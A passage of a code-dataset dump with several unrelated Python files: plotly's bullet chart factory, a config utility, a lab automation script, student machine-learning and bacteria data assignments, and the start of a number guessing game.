{}\".format(df.iloc[row][\"subtitles\"])\n else:\n subtitle = \"\"\n label = \"{}\".format(title) + subtitle\n annot = utils.annotation_dict_for_label(\n label,\n (num_of_lanes - row if orientation == \"h\" else row + 1),\n num_of_lanes,\n vertical_spacing if orientation == \"h\" else horizontal_spacing,\n \"row\" if orientation == \"h\" else \"col\",\n True if orientation == \"h\" else False,\n False,\n )\n fig[\"layout\"][\"annotations\"] += (annot,)\n\n return fig\n\n\ndef create_bullet(\n data,\n markers=None,\n measures=None,\n ranges=None,\n subtitles=None,\n titles=None,\n orientation=\"h\",\n range_colors=(\"rgb(200, 200, 200)\", \"rgb(245, 245, 245)\"),\n measure_colors=(\"rgb(31, 119, 180)\", \"rgb(176, 196, 221)\"),\n horizontal_spacing=None,\n vertical_spacing=None,\n scatter_options={},\n **layout_options,\n):\n \"\"\"\n **deprecated**, use instead the plotly.graph_objects trace\n :class:`plotly.graph_objects.Indicator`.\n\n :param (pd.DataFrame | list | tuple) data: either a list/tuple of\n dictionaries or a pandas DataFrame.\n :param (str) markers: the column name or dictionary key for the markers in\n each subplot.\n :param (str) measures: the column name or dictionary key for the measure\n bars in each subplot. This bar usually represents the quantitative\n measure of performance, usually a list of two values [a, b] and are\n the blue bars in the foreground of each subplot by default.\n :param (str) ranges: the column name or dictionary key for the qualitative\n ranges of performance, usually a 3-item list [bad, okay, good]. They\n correspond to the grey bars in the background of each chart.\n :param (str) subtitles: the column name or dictionary key for the subtitle\n of each subplot chart. The subplots are displayed right underneath\n each title.\n :param (str) titles: the column name or dictionary key for the main label\n of each subplot chart.\n :param (bool) orientation: if 'h', the bars are placed horizontally as\n rows. If 'v' the bars are placed vertically in the chart.\n :param (list) range_colors: a tuple of two colors between which all\n the rectangles for the range are drawn. These rectangles are meant to\n be qualitative indicators against which the marker and measure bars\n are compared.\n Default=('rgb(200, 200, 200)', 'rgb(245, 245, 245)')\n :param (list) measure_colors: a tuple of two colors which is used to color\n the thin quantitative bars in the bullet chart.\n Default=('rgb(31, 119, 180)', 'rgb(176, 196, 221)')\n :param (float) horizontal_spacing: see the 'horizontal_spacing' param in\n plotly.tools.make_subplots. Ranges between 0 and 1.\n :param (float) vertical_spacing: see the 'vertical_spacing' param in\n plotly.tools.make_subplots. Ranges between 0 and 1.\n :param (dict) scatter_options: describes attributes for the scatter trace\n in each subplot such as name and marker size. Call\n help(plotly.graph_objs.Scatter) for more information on valid params.\n :param layout_options: describes attributes for the layout of the figure\n such as title, height and width. Call help(plotly.graph_objs.Layout)\n for more information on valid params.\n\n Example 1: Use a Dictionary\n\n >>> import plotly.figure_factory as ff\n\n >>> data = [\n ... {\"label\": \"revenue\", \"sublabel\": \"us$, in thousands\",\n ... \"range\": [150, 225, 300], \"performance\": [220,270], \"point\": [250]},\n ... {\"label\": \"Profit\", \"sublabel\": \"%\", \"range\": [20, 25, 30],\n ... \"performance\": [21, 23], \"point\": [26]},\n ... {\"label\": \"Order Size\", \"sublabel\":\"US$, average\",\"range\": [350, 500, 600],\n ... \"performance\": [100,320],\"point\": [550]},\n ... {\"label\": \"New Customers\", \"sublabel\": \"count\", \"range\": [1400, 2000, 2500],\n ... \"performance\": [1000, 1650],\"point\": [2100]},\n ... {\"label\": \"Satisfaction\", \"sublabel\": \"out of 5\",\"range\": [3.5, 4.25, 5],\n ... \"performance\": [3.2, 4.7], \"point\": [4.4]}\n ... ]\n\n >>> fig = ff.create_bullet(\n ... data, titles='label', subtitles='sublabel', markers='point',\n ... measures='performance', ranges='range', orientation='h',\n ... title='my simple bullet chart'\n ... )\n >>> fig.show()\n\n Example 2: Use a DataFrame with Custom Colors\n\n >>> import plotly.figure_factory as ff\n >>> import pandas as pd\n >>> data = pd.read_json('https://cdn.rawgit.com/plotly/datasets/master/BulletData.json')\n\n >>> fig = ff.create_bullet(\n ... data, titles='title', markers='markers', measures='measures',\n ... orientation='v', measure_colors=['rgb(14, 52, 75)', 'rgb(31, 141, 127)'],\n ... scatter_options={'marker': {'symbol': 'circle'}}, width=700)\n >>> fig.show()\n \"\"\"\n # validate df\n if not pd:\n raise ImportError(\"'pandas' must be installed for this figure factory.\")\n\n if utils.is_sequence(data):\n if not all(isinstance(item, dict) for item in data):\n raise exceptions.PlotlyError(\n \"Every entry of the data argument list, tuple, etc must \"\n \"be a dictionary.\"\n )\n\n elif not isinstance(data, pd.DataFrame):\n raise exceptions.PlotlyError(\n \"You must input a pandas DataFrame, or a list of dictionaries.\"\n )\n\n # make DataFrame from data with correct column headers\n col_names = [\"titles\", \"subtitle\", \"markers\", \"measures\", \"ranges\"]\n if utils.is_sequence(data):\n df = pd.DataFrame(\n [\n [d[titles] for d in data] if titles else [\"\"] * len(data),\n [d[subtitles] for d in data] if subtitles else [\"\"] * len(data),\n [d[markers] for d in data] if markers else [[]] * len(data),\n [d[measures] for d in data] if measures else [[]] * len(data),\n [d[ranges] for d in data] if ranges else [[]] * len(data),\n ],\n index=col_names,\n )\n elif isinstance(data, pd.DataFrame):\n df = pd.DataFrame(\n [\n data[titles].tolist() if titles else [\"\"] * len(data),\n data[subtitles].tolist() if subtitles else [\"\"] * len(data),\n data[markers].tolist() if markers else [[]] * len(data),\n data[measures].tolist() if measures else [[]] * len(data),\n data[ranges].tolist() if ranges else [[]] * len(data),\n ],\n index=col_names,\n )\n df = pd.DataFrame.transpose(df)\n\n # make sure ranges, measures, 'markers' are not NAN or NONE\n for needed_key in [\"ranges\", \"measures\", \"markers\"]:\n for idx, r in enumerate(df[needed_key]):\n try:\n r_is_nan = math.isnan(r)\n if r_is_nan or r is None:\n df[needed_key][idx] = []\n except TypeError:\n pass\n\n # validate custom colors\n for colors_list in [range_colors, measure_colors]:\n if colors_list:\n if len(colors_list) != 2:\n raise exceptions.PlotlyError(\n \"Both 'range_colors' or 'measure_colors' must be a list \"\n \"of two valid colors.\"\n )\n clrs.validate_colors(colors_list)\n colors_list = clrs.convert_colors_to_same_type(colors_list, \"rgb\")[0]\n\n # default scatter options\n default_scatter = {\n \"marker\": {\"size\": 12, \"symbol\": \"diamond-tall\", \"color\": \"rgb(0, 0, 0)\"}\n }\n\n if scatter_options == {}:\n scatter_options.update(default_scatter)\n else:\n # add default options to scatter_options if they are not present\n for k in default_scatter[\"marker\"]:\n if k not in scatter_options[\"marker\"]:\n scatter_options[\"marker\"][k] = default_scatter[\"marker\"][k]\n\n fig = _bullet(\n df,\n markers,\n measures,\n ranges,\n subtitles,\n titles,\n orientation,\n range_colors,\n measure_colors,\n horizontal_spacing,\n vertical_spacing,\n scatter_options,\n layout_options,\n )\n\n return fig\n","repo_name":"plotly/plotly.py","sub_path":"packages/python/plotly/plotly/figure_factory/_bullet.py","file_name":"_bullet.py","file_ext":"py","file_size_in_byte":13093,"program_lang":"python","lang":"en","doc_type":"code","stars":14438,"dataset":"github-code","pt":"3"} +{"seq_id":"38542925894","text":"\"\"\"Low level utilities to load, serialize, and save config files.\"\"\"\n\n# Future imports\nfrom __future__ import (\n annotations,\n)\n\n# Standard library imports\nimport json\nfrom pathlib import (\n Path,\n)\nfrom typing import (\n Mapping,\n)\n\n# Third party imports\nimport pydantic\nimport toml\nfrom typing_extensions import (\n Final,\n)\n\n# Local imports\nimport submanager.exceptions\nfrom submanager.constants import (\n CONFIG_PATH_DYNAMIC,\n SECURE_DIR_MODE,\n)\nfrom submanager.types import (\n ConfigDict,\n PathLikeStr,\n)\n\nSUPPORTED_CONFIG_FORMATS: Final[frozenset[str]] = frozenset((\"json\", \"toml\"))\n\n\ndef serialize_config(\n config: ConfigDict | pydantic.BaseModel,\n output_format: str = \"json\",\n) -> str:\n \"\"\"Convert the configuration data to a serializable text form.\"\"\"\n if output_format == \"json\":\n if isinstance(config, pydantic.BaseModel):\n serialized_config = config.json(indent=4)\n else:\n serialized_config = json.dumps(config, indent=4)\n elif output_format == \"toml\":\n serialized_config = toml.dumps(dict(config))\n else:\n raise submanager.exceptions.ConfigError(\n f\"Output format {output_format!r} must be in \"\n f\"{set(SUPPORTED_CONFIG_FORMATS)}\",\n )\n return serialized_config\n\n\ndef write_config(\n config: ConfigDict | pydantic.BaseModel,\n config_path: PathLikeStr = CONFIG_PATH_DYNAMIC,\n) -> str:\n \"\"\"Write the passed config to the specified config path.\"\"\"\n config_path = Path(config_path)\n config_path.parent.mkdir(mode=SECURE_DIR_MODE, parents=True, exist_ok=True)\n try:\n serialized_config = serialize_config(\n config=config,\n output_format=config_path.suffix[1:],\n )\n except submanager.exceptions.ConfigError as error:\n raise submanager.exceptions.ConfigExtensionError(\n config_path,\n message_post=error,\n ) from error\n with open(\n config_path,\n mode=\"w\",\n encoding=\"utf-8\",\n newline=\"\\n\",\n ) as config_file:\n config_file.write(serialized_config)\n return serialized_config\n\n\ndef load_config(config_path: PathLikeStr) -> ConfigDict:\n \"\"\"Load the config file at the specified path.\"\"\"\n config_path = Path(config_path)\n with open(config_path, encoding=\"utf-8\") as config_file:\n config: ConfigDict\n if config_path.suffix == \".json\":\n raw_config: object = json.load(config_file)\n if not isinstance(raw_config, Mapping):\n format_message = (\n \"Top-level data structure must be a dict/table/mapping, \"\n f\"not a {type(raw_config)!r}\"\n )\n raise submanager.exceptions.ConfigDataTypeError(\n config_path,\n message_pre=format_message,\n )\n config = dict(raw_config)\n\n elif config_path.suffix == \".toml\":\n config = dict(toml.load(config_file))\n else:\n raise submanager.exceptions.ConfigExtensionError(\n config_path,\n message_post=submanager.exceptions.ConfigError(\n f\"Input format {config_path.suffix!r} must be in \"\n f\"{set(SUPPORTED_CONFIG_FORMATS)}\",\n ),\n )\n return config\n","repo_name":"r-spacex/submanager","sub_path":"src/submanager/config/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3347,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"71378638480","text":"from misc_codes.equipment_settings import *\nfrom misc_codes.general_settings import *\n\n########################################## USER INPUT ##########################################\nled_list = convert_argv_to_int_list(\">> led_list (48,36,24): \")\niout = float(input(\">> Iout (A): \"))\n\nvin_list = GENERAL_CONSTANTS.DEFAULT_WIDE_RANGE_VIN_LIST\nsoak_time_per_line = GENERAL_CONSTANTS.SOAK_TIME_PER_LINE_QUICK_CHECK\n\nproject = input(\">> Project: \")\ntest = f\"Parametrics - LED\"\nexcel_name = input(\">> Excel Name: \")\n########################################## USER INPUT ##########################################\nwaveforms_folder = GENERAL_FUNCTIONS.CREATE_PATH(project, test)\n\ndef main():\n df = GENERAL_FUNCTIONS.CREATE_DF_WITH_HEADER(GENERAL_CONSTANTS.HEADER_LIST_LED_LOAD)\n \n EQUIPMENT_FUNCTIONS.DISCHARGE_OUTPUT(1)\n\n for led in led_list:\n\n EQUIPMENT_FUNCTIONS.SET_LED(led)\n\n for vin in vin_list:\n\n EQUIPMENT_FUNCTIONS.AC_TURN_ON(vin)\n soak(soak_time_per_line)\n output_list = EQUIPMENT_FUNCTIONS.COLLECT_DATA_SINGLE_OUTPUT_LED_LOAD(vin, led, iout)\n export_to_excel(df, waveforms_folder, output_list, excel_name=excel_name, sheet_name=excel_name, anchor=\"B2\")\n\n GENERAL_FUNCTIONS.PRINT_FINAL_DATA_DF(df)\n EQUIPMENT_FUNCTIONS.DISCHARGE_OUTPUT(2)\n\n \nif __name__ == \"__main__\":\n estimated_time = len(vin_list)*soak_time_per_line\n GENERAL_FUNCTIONS.ESTIMATED_TEST_TIME(estimated_time)\n\n headers(test)\n main()\n footers(waveform_counter)\n","repo_name":"charlescayno/bench_automation","sub_path":"codes/generic-ate/led_parametrics.py","file_name":"led_parametrics.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18803797441","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThe Decision Tree Assignment which aims to predict probability of citizen\nhaving negative life outlook based on their ethnicity, social status and income.\n\n@author: smallpi\n\"\"\"\n\n#######################################################\n# 1. import library & data\n#######################################################\n# 1.1 import library \n\nfrom pandas import Series, DataFrame\nimport pandas as pd\nimport numpy as np\nimport os\nimport matplotlib.pylab as plt\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import classification_report\nimport sklearn.metrics\n # Feature Importance\nfrom sklearn import datasets\nfrom sklearn.ensemble import ExtraTreesClassifier\n\n# 1.2 set directory\nos.chdir(\"D:\\!MOOC\\Python_Directory\\Data Analysis and Interpretation\")\n\n# 1.3 import data\ndata = pd.read_csv('ool_pds.csv', sep=',', low_memory=False)\ndata.dtypes\ndata.describe()\n\n# 1.4 setting variables to be working with to numeric and category\n# 1.4.1 Dependent variable\ndata['ool'] = data['W1_F1'].astype('category') #factor variable \n\n# 1.4.2 Explanatory variables\ndata['inc'] = pd.to_numeric(data['PPINCIMP'], errors='coerce') # qt var. - household income\ndata['soc'] = pd.to_numeric(data['W1_P2'], errors='coerce') # ft var. (can order) - social class \ndata['ethm'] = data['PPETHM'].astype('category') # ft var. (can't order) - ethnic\ndata['sex'] = data['PPGENDER'].astype('category') # ft var. (binary) - gender\ndata['edu'] = pd.to_numeric(data['PPEDUCAT'], errors='coerce') # ft var. (can order) - education\ndata['age'] = pd.to_numeric(data['PPAGE'], errors='coerce') # qt var. - age\ndata['unemp'] = data['W1_P11'].astype('category') # ft var. (binary) - unemploy\n\n\n#######################################################\n# 2. Make and implement data management decisions \n#######################################################\n# 2.1 Subset for selected variables\n# subset variables in new data frame, sub1\ns_data=data[['ool', 'inc', 'soc', 'ethm','sex','edu','age','unemp']]\ns_data.dtypes\ns_data.describe() #describe quantitative var.\n\n# 2.2 Coding out missing data (-1 = missing)\n# No missing value for inc & ethm & sex & edu & age\ns_data['ool'] = s_data['ool'].replace(-1, np.nan) \ns_data['soc'] = s_data['soc'].replace(-1, np.nan) \ns_data['unemp'] = s_data['unemp'].replace(-1, np.nan) \n\ndata_clean = s_data.dropna()\n\ndata_clean.dtypes\ndata_clean.describe()\n\n# 2.3 Recode variables\n# 2.3.1 Recoding values for outlook_ql into a new variable, W1_F1n\n#to be more intuitive (-1=negative,0=neither,1=positive)\nrecode1 = {1: 1, 2: 0, 3: -1}\nprint (data_clean[\"ool\"].value_counts(sort=False)) #before recoding\ndata_clean['ool']= data_clean['ool'].map(recode1)\nprint (data_clean[\"ool\"].value_counts(sort=False)) #after recoding\n\n# 2.3.2 Recode inc to be quantitative\nrecode1 = {1:2500, 2:6250, 3:8750, 4:11250, 5:13750, 6: 17500, 7:22500, 8: 27500, 9: 32500, \n 10:37500, 11: 45000, 12:55000, 13:67500, 14: 80000, 15: 92500, 16:112500, \n 17: 137500, 18: 162500, 19: 200000}\nprint (data_clean[\"inc\"].value_counts(sort=False)) #before recoding\ndata_clean['inc']= data_clean['inc'].map(recode1)\nprint (data_clean[\"inc\"].value_counts(sort=False)) #after recoding\n\n# 2.3.3 Recode soc to start with 0\nprint (data_clean[\"soc\"].value_counts(sort=False)) #before recoding\ndata_clean[\"soc\"] = data_clean[\"soc\"] -1\nprint (data_clean[\"soc\"].value_counts(sort=False)) #after recoding\n\n# 2.3.4 Recode sex to have 0 = male | 1 = female\nrecode1 = {1: 0, 2: 1}\ndata_clean['sex']= data_clean['sex'].map(recode1)\ndata_clean['sex'] = data_clean['sex'].astype('category') \nprint (data_clean[\"sex\"].value_counts(sort=False))\n\n# 2.3.5 Recode unemp to have 0 = employ | 1 = unemploy\nrecode1 = {1: 1, 2: 0}\ndata_clean['unemp']= data_clean['unemp'].map(recode1)\ndata_clean['unemp'] = data_clean['unemp'].astype('category')\nprint (data_clean[\"unemp\"].value_counts(sort=False))\n\n# 2.4 Create secondary variable: POSITIVE outlook\ndef POSITIVE (row):\n if row['ool'] == 1 : \n return 1 \n else :\n return 0\ndata_clean['pos'] = data_clean.apply (lambda row: POSITIVE (row),axis=1)\ndata_clean['pos'] = data_clean['pos'].astype('category') \n\n# 2.5 Check the data\ndata_clean.dtypes\ndata_clean.describe()\n\n# 2.5 Set prediction and target variable\npredictors = data_clean[['inc', 'soc', 'ethm','sex','edu','age','unemp']]\ntargets = data_clean['pos']\n\n# 2.6 Split into training and testing sets\npred_train, pred_test, tar_train, tar_test = train_test_split(predictors, targets, \n test_size=.4)\n\npred_train.shape\npred_test.shape\ntar_train.shape\ntar_test.shape\n\n\n##############################################################################\n# 3. Perform Analysis\n##############################################################################\n# 3.1 Base Model\n# 3.1.1 Create base model\ntar_train.describe() # 1 (positive) more often -> always predict positive\n# 3.1.2 Base model accuracy -> always predict not negative\ntar_test.describe() # 0.56\n\n# 3.2 Random Forest \n# 3.2.1 Build model on training data\nfrom sklearn.ensemble import RandomForestClassifier\nclassifier=RandomForestClassifier(n_estimators=25)\nclassifier=classifier.fit(pred_train,tar_train)\n\n# 3.2.2 Predict on test set\npredictions=classifier.predict(pred_test)\n\n# 3.2.3 Random Forest Accuracy\nsklearn.metrics.confusion_matrix(tar_test,predictions)\nsklearn.metrics.accuracy_score(tar_test, predictions) #0.57\n\n# 3.2.4 Fit an Extra Trees model to the data to find attribute importance\nmodel = ExtraTreesClassifier()\nmodel.fit(pred_train,tar_train)\n# display the relative importance of each attribute\nvar_name = (pred_train.columns.tolist())\nvar_sig = (list(model.feature_importances_))\n\n# combine to 1 data frame\nvar_imp = DataFrame(columns=var_name)\nvar_imp.loc['Imp'] = [list(model.feature_importances_)[n] for n in range(7)]\n\n# sort by importance\nvar_imp[var_imp.ix[var_imp.last_valid_index()].argsort()[::-1]]\n\n\"\"\"\nRunning a different number of trees and see the effect\n of that on the accuracy of the prediction\n\"\"\"\ntrees=range(25)\naccuracy=np.zeros(25)\n\nfor idx in range(len(trees)):\n classifier=RandomForestClassifier(n_estimators=idx + 1)\n classifier=classifier.fit(pred_train,tar_train)\n predictions=classifier.predict(pred_test)\n accuracy[idx]=sklearn.metrics.accuracy_score(tar_test, predictions)\n \nplt.cla()\nplt.plot(trees, accuracy)\nplt.ylabel('Accuracy')\nplt.xlabel('Number of Trees')","repo_name":"Rajata25072/MOOC_Data-Analysis-and-Interpretation","sub_path":"4_Machine_Learning_for_Data_Analysis/M2_Random Forest/M2_Assn2_RandomForest.py","file_name":"M2_Assn2_RandomForest.py","file_ext":"py","file_size_in_byte":6520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30956759978","text":"import numpy as np\nfrom imblearn.over_sampling import RandomOverSampler\nfrom imblearn.under_sampling import RandomUnderSampler\nfrom imblearn.combine import SMOTEENN\nimport os\nimport cv2\n\ndic = {8: [1, 0, 0, 0], 4: [0, 1, 0, 0],\n 2: [ 0, 0, 1, 0], 1: [0, 0, 0, 1], 0: [0, 0, 0, 0]}\nfile_num = 1\nfile_name = 'collectedData/collected_data-{}'.format(file_num)\n\nros = RandomOverSampler()\n\ndef balance_data(file_name):\n saved_file = file_name + '.npy'\n print(file_name)\n collected_data = np.load(saved_file)\n X = list(collected_data[0][0])\n y = list(collected_data[0][1])\n for i in range(len(X)):\n X[i] = cv2.cvtColor(X[i],cv2.COLOR_RGBA2RGB)\n shape = X[0].shape\n dim = shape[0]*shape[1]*shape[2]\n print(shape)\n print(dim)\n for i in range(len(X)):\n X[i] = X[i].reshape(dim)\n y[i] = int(int(''.join(str(j) for j in y[i]), 2))\n X = np.array(X)\n y = np.array(y)\n rus = RandomUnderSampler()\n X_resampled, y_resampled = rus.fit_sample(X, y)\n balanced_y = []\n balanced_X = []\n\n for i in range(len(y_resampled)):\n balanced_y.append(dic[y_resampled[i]])\n balanced_X.append(X_resampled[i].reshape(shape[0], shape[1], shape[2]))\n\n collected_data = []\n collected_data.append([balanced_X, balanced_y])\n np.save(file_name + '_balanced.npy', collected_data)\n\n\nwhile(True):\n file_name = \"collectedData/collected_data-{}\".format(file_num)\n if (os.path.isfile(file_name + '.npy')):\n balance_data(file_name)\n file_num += 1\n else:\n print(\"balanced all data\")\n break\n","repo_name":"BlackenedWhite/Self-Driving-Car-With-Python","sub_path":"balancingData.py","file_name":"balancingData.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"22397432835","text":"import pandas as pd\nimport numpy as np\nimport random\n\n# Sample Size\ns = 5\nfilename = \"data/sampledata.csv\"\n# N = Number of rows in a csv file\nn = sum(1 for line in open(filename)) - 1\nprint(n)\n# Reading in the randomized sample into df\nskip = sorted(random.sample(range(n),n-s))\ndf = pd.read_csv(filename,skiprows=skip, header = None)\nprint(df)\n","repo_name":"jjsalomon/python-machine-learning","sub_path":"ml-tools/test_read.py","file_name":"test_read.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"37270862645","text":"import matplotlib.pyplot as plt\nimport numpy as np\ndef dataload(filename):\n '''load the data from file contains Bacteria Data we need.\n input filename: A string containing the filename of a data file.\n output data is a N*3 Matrix.\n '''\n lines_array = read_txt_1dimArray(filename)\n matrix = convert_filelines_matrix(lines_array) # convert the array from line 16 into a N*M matrix\n data = handle_data_errors(matrix) #use handle_data_errors funtion to detele line does not satisfy condtions\n return data\n\ndef read_txt_1dimArray(filename):\n ''' read all the lines of any an arbitrary txt file into an array'''\n filein = open(filename, \"r\") # Opens the file for reading\n lines_array = filein.readlines() # Reads all lines into an array\n return lines_array\ndef convert_filelines_matrix(lines):\n ''' convert whole lines array of a text file into N*N array.\n input lines should be a 1 dimensional array read from all lines of the file.\n output should be a N*M array of the data read from file.\n '''\n list = []\n for line in lines: # operations line by line\n stripped_line = line.strip() # strip all the blankspaces between each line\n line_list = stripped_line.split() # split each stripped_line into a list item\n list.append(line_list) # add each line item into empty list\n matrix = np.asarray(list) # convert list to array format\n return matrix\ndef handle_data_errors(matrixname):\n ''' Accessing each row of a matrix given by users and check the data of matrix\n whether satisfiies the requirements. If not, delete that row.\n input matrixname variable is an array.\n output data is an new array which has already deleted the rows do not need.\n '''\n data = []\n index_line = 0 # count for which line we are in\n for array in matrixname: # acess in each row in our matrix\n Temperature = float(array[0]) # first element is Temperature\n Growth_rate = float(array[1])\n Bacteria = int(array[2])\n if Temperature <= 10.0 and Temperature >= 60.0: # Check the conditions for Temperature\n print(\"the value of Temperature: {} is out of range,\\\nwe delte line {}\".format(Temperature,index_line)) # If ture, print error messeage\n elif Growth_rate <= 0:\n print(\"Growth rate: {} must be positive we delte line {}\".\\\nformat(Growth_rate,index_line))\n elif Bacteria not in range(1,5):\n print(\"The number {} represents the type of Bacteria which is not \\\nin one our types, hence we delte line {}\".format(Bacteria,index_line))\n else:\n data.append(array) # the line pass all conditions check, add it to the data matrix we want to return\n index_line += 1 # next line\n data = np.asarray(data)\n data = data.astype(float) #convert elements in data from string to float\n return data\n################################################################################\n################################################################################\n\"\"\"dataStatistics function\nauthor: Yaxin Luo, Oleg Minchev, Haoyang Yao.\"\"\"\ndef dataStatistics(data, statistic):\n '''input data: An N by 3 matrix with columns Temperature,Growth rate and Bacteria\ninput statistic: A string specofying the statistic that should be calculated\noutput result: A scalar containg the calculated statistic'''\n lower_statistic = statistic.lower() #navoid users' typing errors\n temperatures = data[:,0]\n growth_rates = data[:,1]\n less,high = mean_grow_depends_tem(data)\n if lower_statistic == 'mean temperature':\n result = np.mean(temperatures)\n elif lower_statistic == 'mean growth rate':\n result = np.mean(growth_rates)\n elif lower_statistic == 'std temperature':\n result = np.std(temperatures)\n elif lower_statistic == 'std growth rate':\n result = np.std(growth_rates)\n elif lower_statistic == 'rows':\n result = rows_total(data)\n elif lower_statistic == 'mean cold growth rate':\n result = less\n elif lower_statistic == 'mean hot growth rate':\n result = high\n else:\n print(\"Error message, please check your tpying of statistic\")\n return result\n\ndef rows_total(data):\n ''' calculate number of rows in any matrix'''\n number = 0\n for rows in data:\n number += 1\n return number\ndef mean_grow_depends_tem(data):\n ''' '''\n less20_result = 0\n more50_result = 0\n for rows in data:\n if rows[0] < 20:\n less20_result += rows[1]\n elif rows[0] > 50:\n more50_result += rows[1]\n else:\n pass\n return np.mean(less20_result),np.mean(more50_result)\n################################################################################\n################################################################################\n\"\"\"\ndataPlot function\nauthor: Yaxin Luo, Oleg Minchev,Haoyang Yao.\n\"\"\"\ndef dataPlot(data):\n\n\n\n\n \"\"\"Bacteria type grpah\"\"\"\n x_axis = np.array(['Salmonella enterica','Bacillus cereus', 'Listeria',\\\n 'Brochothrix thermosphacta'])\n bacteria = data[:,2]\n bacteria1 = np.count_nonzero(bacteria == 1)\n bacteria2 = np.count_nonzero(bacteria == 2)\n bacteria3 = np.count_nonzero(bacteria == 3)\n bacteria4 = np.count_nonzero(bacteria == 4)\n y_axis = np.array([bacteria1, bacteria2, bacteria3, bacteria4])\n plt.bar(x_axis, y_axis)\n plt.title('Number of bacteria')\n plt.xlabel('name of each bacteria')\n plt.ylabel('number of each bacteria')\n plt.show()\n###############################################################################\n \"\"\"Growth rate grpah\"\"\"\n plt.xlabel(\"Temperature\")\n plt.ylabel(\"Growth rate\")\n plt.xlim([10, 60])\n plt.ylim([0,np.max(data[:,1])])\n #defining coordinates\n x1 = (data[:,0][data[:,2]==1])\n y1 = (data[:,1][data[:,2]==1])\n\n x2 = (data[:,0][data[:,2]==2])\n y2 = (data[:,1][data[:,2]==2])\n\n x3 = (data[:,0][data[:,2]==3])\n y3 = (data[:,1][data[:,2]==3])\n\n x4 = (data[:,0][data[:,2]==4])\n y4 = (data[:,1][data[:,2]==4])\n plt.scatter(x1, y1, c = 'blue') # Plot line graph of x and y\n plt.scatter(x2, y2, c = 'hotpink')\n plt.scatter(x3, y3, c = 'black')\n plt.scatter(x4, y4, c = 'red')\n plt.legend([\" Salmonella enterica\", \"Bacillus cereus\",'Listeria','Brochothrix thermosphacta'])\n plt.title('Growth rate by temperature')\n plt.show()\n################################################################################\n################################################################################\ndef inputNumber(prompt):\n # INPUTNUMBER Prompts user to input a number\n #\n # Usage: num = inputNumber(prompt) Displays prompt and asks user to input a\n # number. Repeats until user inputs a valid number.\n #\n # Author: Mikkel N. Schmidt, mnsc@dtu.dk, 2015\n while True:\n try:\n num = float(input(prompt))\n break\n except ValueError:\n pass\n return num\ndef displayMenu(options):\n # DISPLAYMENU Displays a menu of options, ask the user to choose an item\n # and returns the number of the menu item chosen.\n #\n # Usage: choice = displayMenu(options)\n #\n # Input options Menu options (array of strings)\n # Output choice Chosen option (integer)\n #\n # Author: Mikkel N. Schmidt, mnsc@dtu.dk, 2015\n # Display menu options\n for i in range(len(options)):\n print(\"{:d}. {:s}\".format(i+1, options[i]))\n # Get a valid menu choice\n choice = 0\n while not(np.any(choice == np.arange(len(options))+1)):\n choice = inputNumber(\"Please choose a menu item: \")\n return choice\n################################################################################\n################################################################################\nmenu_item = np.array([\"Load data\", \"Filter data\", \"Display statistics\", \"Generate plots\", \"Quit\"])\nwhile True:\n choice = displayMenu(menu_item)\n if choice == 1:\n while True:\n try:\n filename = str(input(\"Please enter the file name:\"))\n break\n except ValueError:\n print(\"Not Valid file name. Please try again.\")\n data = dataload(filename)\n elif choice == 2:\n data = dataload(filename)\n while True:\n try:\n Bacteria_type = str(input(\"Please specify Bacteria Type: Bacteria = \"))\n break\n except ValueError:\n print(\"Not valid bacteria name. Please try again\")\n while True:\n try:\n min_growthRate = float(input(\"lower bound of growth rate:\"))\n break\n except ValueError:\n print(\"Not valid lower bound. Please try again\")\n while True:\n try:\n max_growthRate = float(input(\"upper bound of growth rate:\"))\n break\n except ValueError:\n print(\"Not valid upper bound. Please try again\")\n print(\"Bacteria type is {:s}\".format(Bacteria_type))\n print(\"range of Growth rate is {:f} <= Growth rate <= {:f}\"\\\n .format(min_growthRate,max_growthRate))\n Bacteria = np.array(['Salmonella enterica','Bacillus cereus', 'Listeria',\\\n 'Brochothrix thermosphacta'])\n type_number = np.where(Bacteria == Bacteria_type)\n type_number = int(type_number[0])+1\n data = (data[:,:][data[:,1] >= min_growthRate])\n data = (data[:,:][data[:,1] <= max_growthRate])\n data = (data[:,:][data[:,2] == type_number])\n elif choice == 3:\n while True:\n try:\n statistic = str(input(\"Which kind of statistic you want to display: \"))\n break\n except ValueError:\n print(\"Not Valid statistic type. Please try again.\")\n display_stat = dataStatistics(data, statistic)\n print(\"{:s} is {:f}\".format(statistic,display_stat))\n elif choice == 4:\n dataPlot(data)\n elif choice == 5:\n break\n","repo_name":"Yaxin9Luo/Dtu-python-project1","sub_path":"project1.py","file_name":"project1.py","file_ext":"py","file_size_in_byte":10025,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"36876669952","text":"# Anzeigen wie viel Spiele man gebraucht hat, um Score zu erreichen\n\nimport os\nimport random\nimport csv\n\n# ################\n# global variables\n# ################\n\n# clear cmd\nclear = lambda: os.system('cls')\nterminal_width = os.get_terminal_size()[0]\n\ngame_active = True\nplayer_name = None\nplayer_score = 0\nlives = 3\n\n# Variable für Runde\nturn = 1\n\n# ##########\n# Funktionen\n# ##########\n\n# Funktion gibt Test in der Mitte der CMD aus und nicht linksbündig\ndef print_centered(text):\n text = str(text)\n print(text.center(terminal_width))\n\ndef print_game_title():\n clear()\n print('')\n print_centered('############################################')\n print_centered('########## NUMBER GUESSING GAME ##########')\n print_centered('############################################')\n print('')\n\ndef print_game_info():\n print_game_title()\n print_centered('The aim of the game is to guess the random number given by the computer.')\n print_centered('You can choose from three different levels of difficulty.')\n print_centered('The heavier, the more points you get. However, more points are also deducted from you.')\n print()\n print_centered('Back to menu?')\n input()\n start_game()\n\ndef print_menu():\n print_centered('1 - Play Game')\n print_centered('2 - Highscore')\n print_centered('3 - Info ')\n print()\n 